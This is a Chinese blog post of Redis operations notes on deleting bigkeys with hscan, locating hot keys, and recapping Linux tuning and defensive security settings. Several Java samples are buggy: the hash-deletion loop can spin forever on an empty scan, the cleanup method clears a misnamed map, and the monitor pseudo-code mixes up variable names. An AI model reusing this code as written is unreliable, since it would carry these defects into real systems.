  • 表12-4展示了非字符串类型的数据结构在不同数量级、不同元素大小下对bigkey执行del命令的时间,总体上看元素个数越多、元素越大,删除时间越长,相对于字符串类型,这种删除速度已经足够可以阻塞Redis。

  • 图12-4是表12-4的折线图,可以更加方便的发现趋势。

  • 从上分析可见,除了string类型,其他四种数据结构删除的速度有可能很慢,这样增大了阻塞Redis的可能性。既然不能用del命令,那有没有比较优雅的方式进行删除呢,这时候就需要scan命令的若干类似命令了:sscan、hscan、zscan。

1、string

  • 对于string类型使用del命令一般不会产生阻塞
del bigkey

2、hash、list、set、sorted set

  • hash为例子,使用hscan命令,每次获取部分(例如100个)fieldvalue,再利用hdel删除每个field(为了快速可以使用Pipeline)。
public void delBigHash(String bigKey) {
    Jedis jedis = new Jedis(“127.0.0.1”, 6379);
    // 游标
    String cursor = “0”;
    while (true) {
        ScanResult<Map.Entry<String, String>> scanResult = jedis.hscan(bigKey, cursor,
        new ScanParams().count(100));
        // 每次扫描后获取新的游标
        cursor = scanResult.getStringCursor();
        // 获取扫描结果
        List<Entry<String, String>> list = scanResult.getResult();
        if (list == null || list.size() == 0) {
            continue;
        }
        String[] fields = getFieldsFrom(list);
        // 删除多个field
        jedis.hdel(bigKey, fields);
        // 游标为0时停止
        if (cursor.equals(“0”)) {
            break;
        }
    }
    // 最终删除key
    jedis.del(bigKey);
}/
**
* 获取field数组
* @param list
* @return
*/
private String[] getFieldsFrom(List<Entry<String, String>> list) {
    List<String> fields = new ArrayList<String>();
    for(Entry<String, String> entry : list) {
        fields.add(entry.getKey());
    }
    return fields.toArray(new String[fields.size()]);
}
  • 开发提示
    • 请勿忘记每次执行到最后执行del key操作。

4.4、最佳实践思路

  • 由于开发人员对Redis的理解程度不同,在实际开发中出现bigkey在所难免,重要的是,能通过合理的检测机制及时找到它们,进行处理。
    • 作为开发人员在业务开发时应注意不能将Redis简单暴力的使用,应该在数据结构的选择和设计上更加合理,例如出现了bigkey,要思考一下可不可以做一些优化(例如拆分数据结构)尽量让这些bigkey消失在业务中,如果bigkey不可避免,也要思考一下要不要每次把所有元素都取出来(例如有时候仅仅需要hmget,而不是hgetall)。
    • 最后,可喜的是,Redis将在4.0版本支持lazy deletefree的模式,那时删除bigkey不会阻塞Redis

5、寻找热点key

  • 热门新闻事件或商品通常会给系统带来巨大的流量,对存储这类信息的Redis来说却是一个巨大的挑战。以Redis Cluster为例,它会造成整体流量的不均衡,个别节点出现OPS过大的情况,极端情况下热点key甚至会超过Redis本身能够承受的OPS,因此寻找热点key对于开发和运维人员非常重要。
  • 下面就从四个方面来分析热点key。通过表12-5给出四种方案的特点。

  • 解决热点key问题的三种方案。选用哪种要根据具体业务场景来决定。下面是三种方案的思路。
    • (1)拆分复杂数据结构:如果当前key的类型是一个二级数据结构,例如哈希类型。如果该哈希元素个数较多,可以考虑将当前hash进行拆分,这样该热点key可以拆分为若干个新的key分布到不同Redis节点上,从而减轻压力。
    • (2)迁移热点key:以Redis Cluster为例,可以将热点key所在的slot单独迁移到一个新的Redis节点上,但此操作会增加运维成本。
    • (3)本地缓存加通知机制:可以将热点key放在业务端的本地缓存中,因为是在业务端的本地内存中,处理能力要高出Redis数十倍,但当数据更新时,此种模式会造成各个业务端和Redis数据不一致,通常会使用发布订阅机制来解决类似问题。

1、客户端

  • 客户端其实是距离key“最近”的地方,因为Redis命令就是从客户端发出的,例如在客户端设置全局字典(key和调用次数),每次调用Redis命令时,使用这个字典进行记录,如下所示。
// 使用Guava的AtomicLongMap,记录key的调用次数
public static final AtomicLongMap<String> ATOMIC_LONG_MAP = AtomicLongMap.create();
String get(String key) {
    counterKey(key);
   ...
}
String set(String key, String value) {
   counterKey(key);
   ...
}
void counterKey(String key) {
   ATOMIC_LONG_MAP.incrementAndGet(key);
}
  • 为了减少对客户端代码的侵入,可以在Redis客户端的关键部分进行计数,例如Jedis的Connection类中的sendCommand方法是所有命令执行的枢纽:
public Connection sendCommand(final ProtocolCommand cmd, final byte[]... args) {
    // 从参数中获取key
    String key = analysis(args);
    // 计数
    counterKey(key);
    ...
}
  • 同时为了防止ATvOMIC_LONG_MAP过大,可以对其进行定期清理。
public void scheduleCleanMap() {
    ERROR_NAME_VALUE_MAP.clear();
}
  • 使用客户端进行热点key的统计非常容易实现,但是同时问题也非常多:
    • 无法预知key的个数,存在内存泄露的危险。
    • 对于客户端代码有侵入,各个语言的客户端都需要维护此逻辑,维护成本较高。
    • 只能了解当前客户端的热点key,无法实现规模化运维统计。
  • 当然除了使用本地字典计数外,还可以使用其他存储来完成异步计数,从而解决本地内存泄露问题。但是另两个问题还是不好解决。

2、代理端

  • 像Twemproxy、Codis这些基于代理的Redis分布式架构,所有客户端的请求都是通过代理端完成的,如图12-5所示。此架构是最适合做热点key统计的,因为代理是所有Redis客户端和服务端的桥梁。但并不是所有Redis都是采用此种架构。

3、Redis服务端

  • 使用monitor命令统计热点key是很多开发和运维人员首先想到,monitor命令可以监控到Redis执行的所有命令,下面为一次monitor命令执行后部分结果:
10.1.1.11:6379> monitor
OK
1662083064.606829 [0 10.1.1.12:47876] "COMMAND"
1662083073.299617 [0 10.1.1.12:47876] "get" "hh1"
1662083080.742470 [0 10.1.1.12:47876] "set" "hh2" "hh2"
1662083085.127066 [0 10.1.1.12:47876] "get" "hh2"
  • 如图12-6所示,利用monitor命令的结果就可以统计出一段时间内的热点key排行榜、命令排行榜、客户端分布等数据,例如下面的伪代码统计了最近10万条命令中的热点key:
// 获取10万条命令
List<String> keyList = redis.monitor(100000);
// 存入到字典中,分别是key和对应的次数
AtomicLongMap<String> ATOMIC_LONG_MAP = AtomicLongMap.create();
// 统计
for (String command : commandList) {
    ATOMIC_LONG_MAP.incrementAndGet(key);
}
// 后续统计和分析热点key
statHotKey(ATOMIC_LONG_MAP);

  • Facebook开源的redis-faina正是利用上述原理使用Python语言实现的,例如下面获取最近10万条命令的热点key、热点命令、耗时分布等数据。为了减少网络开销以及加快输出缓冲区的消费速度,monitor尽可能在本机执行。
    • https://github.com/facebookarchive/redis-faina
/apps/redis/bin/redis-cli -h 10.1.1.11 -p 6379 monitor | head -n 100000 | ./redis-faina.py
  • 此种方法会有两个问题:
    • 本书多次强调monitor命令在高并发条件下,会存在内存暴增和影响Redis性能的隐患,所以此方法适合在短时间内使用
    • 只能统计一个Redis节点的热点key,对于Redis集群需要进行汇总统计。

4、机器

  • Redis客户端使用TCP协议与服务端进行交互,通信协议采用的是RESP。如果站在机器的角度,可以通过对机器上所有Redis端口的TCP数据包进行抓取完成热点key的统计,如图12-7所示。

  • 此种方法对于Redis客户端和服务端来说毫无侵入,是比较完美的方案,但是依然存在两个问题:
    • 需要一定的开发成本,但是一些开源方案实现了该功能,例如ELK(ElasticSearch Logstash Kibana)体系下的packetbeat插件,可以实现对Redis、MySQL等众多主流服务的数据包抓取、分析、报表展示。
      • https://www.elastic.co/products/beats/packetbeat
    • 由于是以机器为单位进行统计,要想了解一个集群的热点key,需要进行后期汇总。

6、本章重点回顾

  • (1)Linux相关优化:
    • vm.overcommit_memory建议为1。
    • Linux>3.5,vm.swappiness建议为1,否则建议为0。
    • Transparent Huge Pages(THP)建议关闭掉,但需要注意Linux发行版本改变了THP的配置位置。
    • 可以为Redis进程设置oom_adj,减少Redis被OOM killer杀掉的概率,但不要过度依赖此特性。
    • 建议对Redis所有节点所在机器使用NTP服务。
    • 设置合理的ulimit保证网络连接正常。
    • 设置合理的tcp-backlog参数。
  • (2)理解Redis的持久化有助于解决flush操作之后的数据快速恢复问题。
  • (3)Redis安全建议:
    • 根据具体网络环境决定是否设置Redis密码。
    • rename-command可以伪装命令,但是要注意成本。
    • 合理的防火墙是防止攻击的利器。
    • bind可以将Redis的访问绑定到指定网卡上。
    • 定期备份数据应该作为习惯性操作。
    • 可以适当错开Redis默认端口启动。
    • 使用非root用户启动Redis。
  • (4)bigkey的危害不容忽视:数据倾斜、超时阻塞、网络拥塞,可能是Redis生产环境中的一颗定时炸弹,删除bigkey时通常使用渐进式遍历的方式,防止出现Redis阻塞的情况。
  • (5)通过客户端、代理、monitor、机器抓包四种方式找到热点key,这几种方式各具优势,具体使用哪种要根据当前场景来决定。
#                                                                                                                         #
posted @ 2022-08-31 15:43  麦恒  阅读(168)  评论(0编辑  收藏  举报